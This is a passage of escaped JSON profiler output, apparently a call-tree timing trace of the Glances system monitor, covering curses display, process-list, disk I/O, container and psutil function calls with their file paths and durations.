\"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993599998997524, \"l361\": 0.0019993599998997524},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993599998997524, \"l349\": 0.0019993599998997524},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.001999,\"attributes\": {\"l242\": 0.0019993599998997524},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999731998192146, \"l309\": 0.003999731998192146},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999731998192146, \"l882\": 0.0020000419972348027, \"l857\": 0.0019996900009573437},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000419972348027, \"l902\": 0.0020000419972348027},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002000,\"attributes\": {\"cGlancesThresholds\": 0.0020000419972348027, \"l48\": 0.0020000419972348027},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009239960927516, \"l472\": 0.0020009239960927516},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009239960927516, \"l466\": 0.0020009239960927516},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020009239960927516, \"l1130\": 0.0020009239960927516},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999603999138344, \"l367\": 0.001999603999138344},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004190009785816, \"l325\": 0.0020004190009785816},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004190009785816, \"l885\": 0.0020004190009785816},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004190009785816, \"l910\": 0.0020004190009785816},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000136999413371, \"l845\": 0.002000136999413371},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000136999413371, \"l1094\": 0.002000136999413371},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000136999413371, \"l1058\": 0.002000136999413371},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101440,\"attributes\": {\"cGlancesCursesStandalone\": 0.10143964400049299, \"l291\": 0.10143964400049299},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101440,\"attributes\": {\"cGlancesCursesStandalone\": 0.10143964400049299, \"l260\": 0.10143964400049299},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101440,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101440,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100544,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054366200347431, \"l1202\": 0.10054366200347431},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100544,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100544,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100607,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060707899538102, \"l291\": 0.10060707899538102},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100607,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060707899538102, \"l260\": 0.10060707899538102},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100607,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100607,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100402,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040167600527639, \"l1202\": 0.10040167600527639},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100402,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100402,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100397,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003970620004111, \"l291\": 0.1003970620004111},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100397,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003970620004111, \"l260\": 0.1003970620004111},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100397,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100397,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100318,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031789899949217, \"l1202\": 0.10031789899949217},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100318,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100318,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100575,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005746039954829, \"l291\": 0.1005746039954829},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100575,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005746039954829, \"l260\": 0.1005746039954829},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100575,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100575,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100497,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049719200469553, \"l1202\": 0.10049719200469553},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100497,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100497,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047522699460387, \"l291\": 0.10047522699460387},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047522699460387, \"l260\": 0.10047522699460387},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100475,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100475,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100363,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036312400188763, \"l1202\": 0.10036312400188763},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100363,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100363,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100478,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004782090021763, \"l291\": 0.1004782090021763},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100478,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004782090021763, \"l260\": 0.1004782090021763},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100478,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100478,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100329,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032862799562281, \"l1202\": 0.10032862799562281},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100329,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100329,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100413,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041294200345874, \"l291\": 0.10041294200345874},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100413,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041294200345874, \"l260\": 0.10041294200345874},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100413,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100413,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100503,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005025479971664, \"l1202\": 0.1005025479971664},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100503,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100503,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057900899846572, \"l291\": 0.10057900899846572},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057900899846572, \"l260\": 0.10057900899846572},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051799900247715, \"l1202\": 0.10051799900247715},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100518,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100518,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.111567,\"attributes\": {\"cGlancesStats\": 0.11156695800309535, \"l287\": 0.11156695800309535},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.111567,\"attributes\": {\"cGlancesStats\": 0.11156695800309535, \"l575\": 0.11156695800309535},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.111567,\"attributes\": {\"l571\": 0.11156695800309535},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.111567,\"attributes\": {\"cGlancesStats\": 0.11156695800309535, \"l274\": 0.07545041700359434, \"l275\": 0.03611654099950101},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003572,\"attributes\": {\"cDiskioPlugin\": 0.0035721020030905493, \"l1278\": 0.0035721020030905493},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003572,\"attributes\": {\"l1295\": 0.0035721020030905493},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003572,\"attributes\": {\"cDiskioPlugin\": 0.0035721020030905493, \"l114\": 0.0035721020030905493},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003572,\"attributes\": {\"cDiskioPlugin\": 0.0035721020030905493, \"l1351\": 0.0035721020030905493},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003572,\"attributes\": {\"cDiskioPlugin\": 0.0035721020030905493, \"l148\": 0.0015933110043988563, \"l158\": 0.001978790998691693},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001593,\"attributes\": {\"l2129\": 0.0015933110043988563},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001593,\"attributes\": {\"l1106\": 0.0015933110043988563},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001593,\"attributes\": {\"l1051\": 0.0015933110043988563},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001593,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001979,\"attributes\": {\"cDiskioPlugin\": 0.001978790998691693, \"l1058\": 0.001978790998691693},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001979,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.0019918469988624565, \"l200\": 0.0019918469988624565},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.0019918469988624565, \"l855\": 0.0019918469988624565},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.0019918469988624565, \"l969\": 0.0019918469988624565},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065999,\"attributes\": {\"cContainersPlugin\": 0.0020388310003909282, \"l1278\": 0.06599934800033225, \"cProcesscountPlugin\": 0.06396051699994132},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065999,\"attributes\": {\"l1295\": 0.06599934800033225},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002039,\"attributes\": {\"cContainersPlugin\": 0.0020388310003909282, \"l252\": 0.0020388310003909282},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002039,\"attributes\": {\"l256\": 0.0020388310003909282},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002039,\"attributes\": {\"l248\": 0.0020388310003909282},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002039,\"attributes\": {\"cDockerExtension\": 0.0020388310003909282, \"l260\": 0.0020388310003909282},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002039,\"attributes\": {\"cContainerCollection\": 0.0020388310003909282, \"l1009\": 0.0020388310003909282},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l212\": 0.0020388310003909282},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l44\": 0.0020388310003909282},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l246\": 0.0020388310003909282},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l602\": 0.0020388310003909282},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l589\": 0.0020388310003909282},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002039,\"attributes\": {\"cAPIClient\": 0.0020388310003909282, \"l703\": 0.0020388310003909282},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002039,\"attributes\": {\"cUnixHTTPAdapter\": 0.0020388310003909282, \"l644\": 0.0020388310003909282},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002039,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0020388310003909282, \"l787\": 0.0020388310003909282},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002039,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0020388310003909282, \"l534\": 0.0020388310003909282},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002039,\"attributes\": {\"cUnixHTTPConnection\": 0.0020388310003909282, \"l571\": 0.0020388310003909282},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002039,\"attributes\": {\"cUnixHTTPConnection\": 0.0020388310003909282, \"l1430\": 0.0020388310003909282},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002039,\"attributes\": {\"cHTTPResponse\": 0.0020388310003909282, \"l331\": 0.0020388310003909282},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002039,\"attributes\": {\"cHTTPResponse\": 0.0020388310003909282, \"l292\": 0.0020388310003909282},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002039,\"attributes\": {\"cSocketIO\": 0.0020388310003909282, \"l725\": 0.0020388310003909282},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002039,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002039,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063961,\"attributes\": {\"cProcesscountPlugin\": 0.06396051699994132, \"l85\": 0.06396051699994132},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063961,\"attributes\": {\"cGlancesProcesses\": 0.06396051699994132, \"l617\": 0.05796097099664621, \"l621\": 0.002000593005504925, \"l653\": 0.0026125659933313727, \"l659\": 0.0013863870044588111},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057961,\"attributes\": {\"cGlancesProcesses\": 0.05796097099664621, \"l478\": 0.049963665995164774, \"l493\": 0.007997305001481436},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049964,\"attributes\": {\"l1541\": 0.002274133999890182, \"l1558\": 0.04768953199527459},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002274,\"attributes\": {\"l1485\": 0.002274133999890182},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002274,\"attributes\": {\"l1526\": 0.002274133999890182},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002274,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002274,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047690,\"attributes\": {\"cProcess\": 0.04768953199527459, \"l579\": 0.043692397004633676, \"l572\": 0.003997134990640916},\"children\": [{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001696,\"attributes\": {\"cProcess\": 0.0016957789994194172, \"l1064\": 0.0016957789994194172},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001696,\"attributes\": {\"l1682\": 0.0016957789994194172},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001696,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994559002923779, \"l812\": 0.001994559002923779},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994559002923779, \"l1593\": 0.001994559002923779},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998579955426976, \"l1178\": 0.0019998579955426976},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998109001258854, \"l382\": 0.003998109001258854},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998109001258854, \"l1138\": 0.003998109001258854},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998109001258854, \"l1593\": 0.003998109001258854},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998109001258854, \"l1882\": 0.0019994390022475272, \"l1878\": 0.0019986699990113266},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012609966215678, \"l939\": 0.0020012609966215678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012609966215678, \"l1593\": 0.0020012609966215678},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012609966215678, \"l2052\": 0.0020012609966215678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 